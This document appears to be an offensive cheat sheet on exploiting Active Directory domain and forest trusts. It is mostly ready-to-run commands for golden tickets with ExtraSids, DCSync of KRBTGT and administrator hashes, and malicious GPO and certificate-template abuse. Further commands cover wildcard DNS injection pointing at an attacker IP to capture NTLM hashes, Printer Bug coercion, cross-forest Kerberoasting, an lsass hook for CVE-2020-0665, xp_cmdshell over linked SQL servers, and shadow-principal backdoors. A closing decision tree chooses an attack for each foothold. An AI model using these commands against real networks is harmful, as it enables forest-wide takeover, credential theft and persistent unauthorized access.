Trust Exploitation

Active Directory trusts define authentication relationships between domains and forests. Trusts intended to enable collaboration often introduce attack paths that allow escalation from a child domain to the forest root, or lateral movement across forest boundaries.


Trust Fundamentals

Trust Types

TypeScopeSID Filtering
Parent-ChildAutomatic, bidirectional, transitive within a forestOFF (intra-forest)
Tree-RootAutomatic between tree roots in the same forestOFF (intra-forest)
ExternalManual, between two domains in different forestsON
ForestManual, between two forest root domainsON
ShortcutManual, between domains in the same forest for faster authOFF

Trust Directions

DirectionMeaning
One-way inboundUsers from OUR domain can access THEIR resources
One-way outboundUsers from THEIR domain can access OUR resources
BidirectionalBoth directions

Key Trust Attributes

AttributeMeaning
WITHIN_FORESTIntra-forest (child-parent) -- SID filtering OFF
FOREST_TRANSITIVECross-forest trust -- SID filtering ON
TREAT_AS_EXTERNALTreated as external -- allows RID > 1000 via ExtraSids
QUARANTINED_DOMAINStrict SID filtering

Tip: Intra-forest trusts have SID filtering disabled by design. Compromising any domain in a forest means the entire forest is compromisable via ExtraSids.


Trust Enumeration

PowerView

# Trusts for the current domain
Get-DomainTrust

# Forest trusts
Get-ForestTrust

# Map all trusts recursively
Get-DomainTrustMapping

# Trust properties to examine:
# TrustDirection: Bidirectional / Inbound / Outbound
# TrustType: External (domain-level) / Forest (forest-level)
# TrustAttributes: TREAT_AS_EXTERNAL, FOREST_TRANSITIVE, WITHIN_FOREST

Linux Tools

# BloodHound -- cross-domain collection
bloodhound-python -u USER -p PASS -d child.domain.com -ns <DC_IP> -c all --zip

# ldapsearch -- enumerate trusts
ldapsearch -H ldap://<DC_IP> -b "CN=System,DC=domain,DC=com" "(objectClass=trustedDomain)" -D "user@domain.com" -w PASS

# nxc -- trust enumeration
nxc smb <DC_IP> -u USER -p PASS -M enum_trusts

Intra-Forest: ExtraSids Attack

The most common child-to-parent escalation. Forge a Golden Ticket with the Enterprise Admins SID from the parent domain injected as an ExtraSid.

Requirements

  • KRBTGT hash from the child domain (via DCSync)
  • SID of the child domain
  • SID of Enterprise Admins in the parent domain

Enumeration

# Child domain SID
Get-DomainSID

# Enterprise Admins SID from parent
Get-DomainGroup -Identity "Enterprise Admins" -Domain parent.domain.com -Properties ObjectSid

# KRBTGT hash via DCSync
lsadump::dcsync /user:child\krbtgt

Windows -- Rubeus

# Golden ticket with ExtraSids
.\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:child.domain.com /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /user:Administrator /ptt

# Validate access to parent DC
dir \\DC-PARENT.parent.domain.com\c$

Windows -- Mimikatz

kerberos::golden /user:Administrator /domain:child.domain.com /sid:S-1-5-21-CHILD-SID /krbtgt:<KRBTGT_HASH> /sids:S-1-5-21-PARENT-SID-519 /ptt

# DCSync on parent
lsadump::dcsync /domain:parent.domain.com /user:parent\Administrator

Linux -- Impacket

# Forge Golden Ticket
ticketer.py -nthash <KRBTGT_HASH> -domain child.domain.com -domain-sid S-1-5-21-CHILD-SID -extra-sid S-1-5-21-PARENT-SID-519 Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py child.domain.com/Administrator@DC-PARENT.parent.domain.com -k -no-pass

# Automated (does everything in one shot)
raiseChild.py child.domain.com/Administrator -hashes :<NT_HASH> -target-exec DC-PARENT.parent.domain.com

Tip: raiseChild.py automates the entire ExtraSids chain: DCSync KRBTGT, forge ticket, DCSync parent. Use it when speed matters.


Intra-Forest: ADCS via Configuration NC

Concept

The Configuration Naming Context is replicated across all DCs in the forest. With SYSTEM access on a child DC, you can create a vulnerable ESC1 certificate template and publish it on the parent domain's CA.

Requirements

  • SYSTEM on a child DC
  • ADCS (Certificate Authority) present in the parent domain

Attack

# 1. On child DC as SYSTEM -- create a vulnerable ESC1 template
# Clone the User template and modify:
#   msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT)
#   pKIExtendedKeyUsage = Client Authentication
#   msPKI-Enrollment-Flag = 0
#   ACL: Authenticated Users = Enroll

# 2. Publish on parent CA
certutil -config "CA-PARENT.parent.domain.com\CA-NAME" -installCert

# 3. Request certificate as parent\Administrator
.\Certify.exe request /ca:CA-PARENT.parent.domain.com\CA-NAME /template:VulnTemplate /altname:Administrator@parent.domain.com

# 4. Convert and authenticate
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /domain:parent.domain.com /ptt

Intra-Forest: GPO on Site

Concept

AD replication sites are stored in the Configuration NC. With SYSTEM on a child DC, you can create a GPO and link it to the site where the parent DC resides.

Requirements

  • SYSTEM on a child DC

Attack

# 1. Identify the parent DC's site
Get-ADReplicationSite -Filter * -Server parent.domain.com

# 2. Create a malicious GPO in the child domain
New-GPO -Name "Malicious" -Domain child.domain.com

# 3. Add a scheduled task (requires PowerView_2.ps1)
New-GPOImmediateTask -TaskName "backdoor" -GPODisplayName "Malicious" -CommandArguments '-c "net localgroup Administrators child\attacker /add"' -Force

# 4. Link GPO to the parent DC's site
New-GPLink -Name "Malicious" -Target "CN=SiteName,CN=Sites,CN=Configuration,DC=parent,DC=domain,DC=com" -LinkEnabled Yes -Domain child.domain.com

Tip: GPO application can take up to 90 minutes. In a lab, force it with gpupdate /force on the target.


Intra-Forest: GoldenGMSA

Concept

gMSA passwords are derived from the KDS Root Key stored in the Configuration NC. With access to this key (e.g., SYSTEM on any DC in the forest), you can compute the password of any gMSA in the entire forest.

Requirements

  • SYSTEM on a child DC (to read the KDS Root Key from Configuration NC)
  • A gMSA account exists in the parent domain

Online Attack (with DC access)

# 1. List gMSAs in the parent domain
GoldenGMSA.exe gmsainfo --domain parent.domain.com

# 2. Obtain the KDS Root Key
GoldenGMSA.exe kdsinfo

# 3. Compute the gMSA password
GoldenGMSA.exe compute --sid S-1-5-21-PARENT-SID-GMSA-RID --kdskey <KDS_KEY_BASE64>
# Output: base64 encoded password

Offline Attack (from ntds.dit + SYSTEM hive)

# 1. Extract KDS Root Key offline
GoldenGMSA.exe kdsinfo --forest child.domain.com

# 2. Compute password
GoldenGMSA.exe compute --sid S-1-5-21-PARENT-SID-GMSA-RID --kdskey <KDS_KEY_BASE64>

Convert gMSA Password to NT Hash

$password = [Convert]::FromBase64String("<BASE64_PASSWORD>")
$md4 = New-Object System.Security.Cryptography.MD4CryptoServiceProvider
$hash = [BitConverter]::ToString($md4.ComputeHash($password)).Replace("-","")

Intra-Forest: DNS Trust Attack

Concept

AD-integrated DNS zones reside in the Configuration NC. With SYSTEM on a child DC, you can inject DNS records into the parent domain's zone. A wildcard record (*) resolves all unknown names to your IP, enabling NTLM hash capture.

Requirements

  • SYSTEM on a child DC
  • AD-integrated DNS in use

Wildcard DNS Injection

# 1. Import Powermad
Import-Module .\Powermad.ps1

# 2. Inject wildcard record (* -> attacker IP)
New-ADIDNSNode -Node * -Data <ATTACKER_IP> -Zone parent.domain.com -DomainController DC-CHILD.child.domain.com -Verbose

# 3. Start Inveigh to capture hashes
.\Inveigh.exe -Challenge 1122334455667788 -ConsoleOutput Y

Modify Existing DNS Record

# Replace an existing record's IP with your own
Set-ADIDNSNode -Node TARGET_HOST -Data <ATTACKER_IP> -Zone parent.domain.com

Tip: Any machine trying to resolve a nonexistent name in the parent domain's zone will be directed to your IP, enabling NTLM hash capture.


Intra-Forest: Foreign Groups and ACLs

Enumerate Foreign Group Members

Identify users from the child domain that are members of groups in the parent domain.

# Users from child in parent groups
Get-DomainForeignUser -Domain child.domain.com

# Users from any domain in parent groups
Get-DomainForeignGroupMember -Domain parent.domain.com

Enumerate Foreign ACL Principals

Find ACLs in the parent domain where child domain users have permissions.

$parentSID = (Get-DomainSID -Domain parent.domain.com)
Get-DomainObjectACL -Domain parent.domain.com -ResolveGUIDs | ? {
    $_.SecurityIdentifier -notmatch $parentSID -and
    $_.SecurityIdentifier -match "S-1-5-21"
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Convert SID to name
ConvertFrom-SID S-1-5-21-CHILD-SID-RID

Common Abuse Paths

PermissionAbuse
GenericAll (user)Reset password, Shadow Credentials
GenericAll (group)Add member to group
WriteDaclGrant yourself GenericAll
WriteOwnerBecome owner, then WriteDacl
Account OperatorsCreate users, modify non-protected groups
Enterprise Key AdminsmsDS-KeyCredentialLink (Shadow Credentials)
# GenericAll on a parent domain user -- reset password
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Domain parent.domain.com

# Shadow Credentials via Whisker
.\Whisker.exe add /target:TARGET_USER /domain:parent.domain.com

Cross-Forest: Kerberoasting

Request service tickets for SPN-enabled accounts in the target forest and crack them offline.

Requirements

  • Bidirectional trust, or one-way outbound trust (our forest trusts the target)

Windows

# Kerberoast the remote forest
.\Rubeus.exe kerberoast /domain:target.forest.com /dc:DC-TARGET.target.forest.com /nowrap

# With explicit credentials
.\Rubeus.exe kerberoast /creduser:DOMAIN\user /credpassword:PASS /domain:target.forest.com /dc:DC-TARGET.target.forest.com /nowrap

Linux

# Request SPN tickets
GetUserSPNs.py -target-domain target.forest.com DOMAIN/user:PASS -dc-ip <DC_TARGET_IP>

# Crack the hash
hashcat -m 13100 hash.txt /path/to/wordlist.txt

Cross-Forest: Unconstrained Delegation

Requirements

  • A machine with Unconstrained Delegation in our forest
  • Two-way trust (or one-way where our forest is trusted)
  • TGT Delegation allowed (pre-July 2019 default, or explicitly configured)
  • No Selective Authentication on the trust

Attack

# 1. Identify machines with Unconstrained Delegation
Get-DomainComputer -Unconstrained -Domain our.forest.com | select dnshostname

# 2. On the UD machine, monitor for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC-TARGET$

# 3. Coerce the target forest's DC (Printer Bug)
.\SpoolSample.exe DC-TARGET.target.forest.com UD-MACHINE.our.forest.com

# 4. Capture TGT of DC-TARGET$ and inject
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>

# 5. DCSync the target forest
lsadump::dcsync /domain:target.forest.com /user:target\Administrator

Check if TGT Delegation is Allowed

# If EnableTGTDelegation = True, the trust is vulnerable
netdom trust our.forest.com /domain:target.forest.com /EnableTGTDelegation
Authentication LevelVulnerable
Forest-wide (no selective auth)Yes
Domain-wide (no selective auth)Yes
Selective (Allowed-To-Authenticate required)No

Cross-Forest: SID History Injection

Case 1: Migrated Users with Existing SID History

Users migrated from another forest may retain SID History entries that grant access to the source forest.

# Enumerate users with SID history from another forest
Get-DomainUser -LDAPFilter "(sidHistory=*)" | select samaccountname, sidhistory

# Check BloodHound for HasSIDHistory edges

Case 2: TREAT_AS_EXTERNAL + ExtraSids (RID > 1000)

When a trust has TREAT_AS_EXTERNAL, SID filtering blocks RIDs below 1000 but allows RIDs >= 1000. This means Domain Local groups with high RIDs can be injected via ExtraSids.

# 1. Verify TREAT_AS_EXTERNAL
Get-DomainTrust -Domain target.forest.com
# TrustAttributes should contain TREAT_AS_EXTERNAL

# 2. Find groups with RID > 1000 that have privileges in the target
Get-DomainGroup -Domain target.forest.com | ? { [int]($_.objectsid -split '-')[-1] -ge 1000 }

# 3. Golden ticket with ExtraSids using high RID
.\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:our.forest.com /sid:S-1-5-21-OUR-SID /sids:S-1-5-21-TARGET-SID-HIGH_RID /user:Administrator /ptt

Tip: Look for Domain Local groups in the target with RID > 1000 that have administrative or privileged access. BloodHound is particularly useful for this.


Cross-Forest: SID Filter Bypass (CVE-2020-0665)

Requirements

  • forest-trust-tools and Frida
  • Access to lsass on our DC
  • Patience (24h propagation in production, ~2 minutes in lab)

Concept

Use a Frida hook on lsass to replace our domain's SID with the target server's local SID in the forest trust info. After propagation, forge an inter-realm ticket with local RID 500 on the target.

Attack

# 1. Get local SID of the target server
python3 getlocalsid.py -u USER -p PASS target.forest.com TARGET_SERVER

# 2. Get forest trust info
python3 gettrustinfo.py -u USER -p PASS our.forest.com target.forest.com

# 3. Get trust AES keys
python3 ftinfo.py -u USER -p PASS our.forest.com target.forest.com

# 4. Intercept lsass with Frida (replaces SID)
python3 frida_intercept.py --dc <OUR_DC_IP> --target-sid S-1-5-21-TARGET-LOCAL-SID --domain-sid S-1-5-21-OUR-SID

# 5. Wait for propagation (24h production, ~2min lab)

# 6. Forge inter-realm ticket with RID 500
# Using kekeo:
tgs::ask /tgt:<TICKET> /service:cifs/TARGET_SERVER.target.forest.com /domain:target.forest.com

# 7. Access target
dir \\TARGET_SERVER.target.forest.com\c$

Cross-Forest: SQL Server Linked Servers

Scenario 1: Linked Server with sa Mapping

Linked SQL servers configured with sa mapping allow remote code execution across forest boundaries.

Enumeration

# PowerUpSQL -- crawl linked servers
Get-SQLServerLinkCrawl -Instance MSSQL.our.forest.com -Verbose
-- Via direct SQL
SELECT * FROM master..sysservers
EXEC sp_linkedservers

Exploitation

-- Execute commands on the linked server as sa
EXEC ('xp_cmdshell ''whoami''') AT [TARGET-SQL.target.forest.com]

-- Enable xp_cmdshell if disabled
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [TARGET-SQL]
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [TARGET-SQL]

Scenario 2: Trustworthy DB + db_owner

If you are db_owner of a Trustworthy database, you can escalate to sysadmin.

-- Check for Trustworthy databases
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1

-- Escalate via stored procedure that runs as owner (sa)
USE TrustworthyDB;
GO

CREATE PROCEDURE sp_elevate
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'our_user', 'sysadmin';
GO

EXEC sp_elevate;
GO

-- Now sysadmin -- enable RCE
EXEC xp_cmdshell 'whoami'

Linux -- mssqlclient.py

# Connect to linked server
mssqlclient.py DOMAIN/user:PASS@<MSSQL_IP> -windows-auth

# Inside mssqlclient:
# enum_links        -- list linked servers
# use_link TARGET-SQL
# xp_cmdshell whoami

Cross-Forest: Foreign Security Principals

Cross-forest, only Domain Local groups can have members from another forest. These appear as Foreign Security Principals (FSPs).

Enumeration

# FSPs in target forest
Get-DomainForeignGroupMember -Domain target.forest.com

# Enumerate FSP container
Get-ADObject -SearchBase "CN=ForeignSecurityPrincipals,DC=target,DC=forest,DC=com" -Filter * -Properties * -Server target.forest.com

# Convert SID to name
ConvertFrom-SID S-1-5-21-TARGET-SID-RID

Enumerate Cross-Forest ACLs

# Find ACLs where our forest users have permissions in the target
$ourSID = (Get-DomainSID)
Get-DomainObjectACL -Domain target.forest.com -ResolveGUIDs | ? {
    $_.SecurityIdentifier -match $ourSID
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

Abuse

# GenericAll on a target forest user -- reset password
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString 'P@ss123!' -AsPlainText -Force) -Domain target.forest.com -Server DC-TARGET.target.forest.com
# Login with the new password
evil-winrm -i <TARGET_IP> -u TARGET_USER -p 'P@ss123!'

PAM Trust Abuse

Concept

PAM (Privileged Access Management) trust is a one-way trust from the User Forest to the Bastion (Administrative) Forest. Shadow Principals in the Bastion map to high-privilege SIDs (like Enterprise Admins) in the User Forest.

Requirements

  • Compromise of the Bastion Forest

Enumerate Shadow Principals

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name, member, msDS-ShadowPrincipalSid | fl

Example output:

Name                    : Tom
member                  : {CN=Administrator,CN=Users,DC=bastion,DC=corp}
msDS-ShadowPrincipalSid : S-1-5-21-USERFOREST-SID-519  <- Enterprise Admins

Create a Shadow Principal (if none exists)

# 1. Get Enterprise Admins SID from user forest
$ShadowSid = (Get-ADGroup -Identity 'Enterprise Admins' -Properties ObjectSID -Server userforest.corp).ObjectSID

# 2. Container path
$Container = 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=corp'

# 3. Create shadow principal
New-ADObject -Type msDS-ShadowPrincipal -Name "Backdoor" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowSid}

# 4. Add our user as member
Set-ADObject -Identity "CN=Backdoor,$Container" -Add @{'member'="CN=Administrator,CN=Users,DC=bastion,DC=corp"}

Access User Forest

# As Administrator of the bastion (member of the shadow principal)
dir \\DC-USER.userforest.corp\c$

Tip: Shadow Principals provide persistent access. Even if the User Forest rotates passwords, the mapping remains valid as long as the shadow principal exists.


Decision Tree

Use this tree to determine which attack applies based on your current position and target.

Compromised a Child Domain?
|
+-- Target: Parent Domain (Intra-Forest)
|   +-- Have KRBTGT hash of child? .............. ExtraSids
|   +-- Have SYSTEM on child DC?
|   |   +-- CA exists in parent? ................ ADCS via Configuration NC
|   |   +-- Parent DC site known? ............... GPO on Site
|   |   +-- gMSA exists in parent? .............. GoldenGMSA
|   |   +-- AD-integrated DNS? .................. DNS Trust Attack
|   +-- Foreign principals with ACLs? ........... Foreign Groups / ACLs
|
+-- Target: Another Forest (Cross-Forest)
|   +-- Bidirectional trust?
|   |   +-- SPNs in target? .................... Kerberoasting
|   |   +-- Unconstrained Delegation + TGT? .... Printer Bug
|   |   +-- TREAT_AS_EXTERNAL? ................. SID History (RID > 1000)
|   |   +-- CVE-2020-0665 unpatched? ........... SID Filter Bypass
|   |   +-- SQL Server links? .................. SQL Links
|   |   +-- Foreign Security Principals? ....... FSP / ACLs
|   |
|   +-- One-way trust (target trusts us)?
|   |   +-- SPNs? .............................. Kerberoasting
|   |   +-- SQL links? ......................... SQL Links
|   |   +-- FSPs / ACLs? ....................... FSP / ACLs
|   |
|   +-- PAM Trust (bastion compromised)? ....... Shadow Principals
|
+-- Migrated users with SID History? ............ SID History (Case 1)

Common Attack Chains

ChainPath
Child to Parent (fast)DCSync child KRBTGT, ExtraSids with EA SID, DCSync parent Administrator
Child to Parent (no KRBTGT)SYSTEM on child DC, ADCS Config NC ESC1, cert as parent Administrator, DCSync parent
Cross-Forest via SQLEnumerate linked servers, sa via link mapping, xp_cmdshell on target, reverse shell
Cross-Forest via UDUnconstrained machine, SpoolSample target DC, capture TGT, DCSync target forest
Cross-Forest stealthKerberoast cross-forest, crack SPN password, login to target, enumerate and escalate
Bastion to User ForestCompromise bastion, enumerate shadow principals, access user forest as Enterprise Admin